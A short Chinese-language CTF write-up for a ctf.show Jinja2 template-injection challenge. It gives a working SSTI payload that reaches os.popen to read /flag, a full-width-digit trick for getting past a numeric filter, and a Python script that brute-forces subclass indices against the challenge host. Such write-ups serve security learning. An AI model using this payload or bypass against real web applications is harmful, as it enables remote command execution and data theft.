EXP
和上一题思路一样,但是这题过滤了半角数字,使用全角数字就可以绕过
payload
http://bb4e5ac9-f0fc-4489-99f3-af948e60e11c.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
搜索子类时用到的脚本
import requests, re
def B2Q(longuchar):
ret = ''
for uchar in longuchar:
inside_code = ord(uchar)
if inside_code < 0x0020 or inside_code > 0x7e: # 不是半角字符就返回原来的字符
return uchar
if inside_code == 0x0020: # 除了空格其他的全角半角的公式为: 半角 = 全角 - 0xfee0
inside_code = 0x3000
else:
inside_code += 0xfee0
ret = ret + str(chr(inside_code))
return ret
for i in range(0,400):
r = requests.get("http://bb4e5ac9-f0fc-4489-99f3-af948e60e11c.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()["+ B2Q(str(i)) +"]}}")
if re.findall("os", r.text, flags=re.IGNORECASE):
print(r.url)
print(r.text, i)